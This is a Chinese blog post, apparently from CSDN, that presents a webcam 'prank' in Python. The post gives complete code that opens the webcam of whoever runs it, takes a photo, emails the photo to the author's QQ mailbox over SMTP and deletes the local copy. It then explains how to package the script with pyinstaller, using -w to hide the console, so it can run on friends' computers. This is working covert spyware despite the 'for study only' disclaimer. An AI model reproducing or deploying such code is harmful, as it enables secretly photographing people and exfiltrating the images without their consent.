记python opencv的一次恶搞

记python opencv的一次恶搞

前言

最近,要搞一个小项目,要用到opencv,于是就开始学习opencv-python。在学习的过程中,发现opencv加上python发邮件还可以做一些有趣的事情,于是想把这记录下来。
这个程序可以在别人运行时打开摄像头拍一张照片,然后发送到你的邮箱中。是不是有点小刺激。
仅供个人学习,不得用于其他目的!

基础知识

python中引入opencv库:import cv2
下载这个库可以用pip来进行:pip install opencv-python

cv2.VideoCapture(0)这个函数会打开笔记本的内置摄像头。
cv2.imwrite()这个函数会保存一个图片。
主要的函数就只有这两个。

然后就是用python发邮件(还得附带一张图片),这个比较麻烦。
我参考了很多资料,最后写了一个我的,希望大神们可以指出我的问题。

我是用SMTP来发邮件,需要配置一下邮箱,我用的是qq邮箱。
首先进入设置
在这里插入图片描述
然后进入到账户,找到:
在这里插入图片描述
将SMTP服务打开,然后生成授权码。其他应用就可以用你的邮箱发邮件了。

代码

下面就是整个程序的代码。

from smtplib import SMTP_SSL,SMTPException
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from cv2 import VideoCapture,imwrite
from os import remove

def send():
    _user = "" #发送图片的邮箱
    _pwd  = "" #邮箱密码(授权码)
    _to   = "" #收图片的邮箱

    msg = MIMEMultipart('related')
    msg["Subject"] = "照片"
    msg["From"]    = _user
    msg["To"]      = _to

    content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
    msg.attach(content)

    file = open("1.png","rb")
    img_data = file.read()
    file.close()

    img = MIMEImage(img_data)
    img.add_header('Content-ID', 'imageid')
    msg.attach(img)

    try:
        s = SMTP_SSL("smtp.qq.com", 465)
        s.login(_user, _pwd)
        s.sendmail(_user, _to, msg.as_string())
        s.quit()
        print("Success!")
    except SMTPException as e: 
        print("Falied,%s",e) 

def get():
    capture = VideoCapture(0)
    _ ,frame = capture.read()
    imwrite("1.png",frame)
    capture.release()

def dell():
    remove("1.png")   

if __name__ == "__main__":
    get()
    send()
    dell()

思路就是先打开摄像头,再拍一张照片,再储存下来,然后用邮件发送,最后将照片删除。

后续工作

如果,你的同学,朋友电脑没有安装python的环境,你可以用pyinstaller来把py文件打包成exe文件。
pyinstaller安装:pip install pyinstaller
打包时可以使用-w参数来去掉控制台窗口。

结语

希望可你帮到你们。(呵呵呵)
仅供个人学习,不得用于其他目的!

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值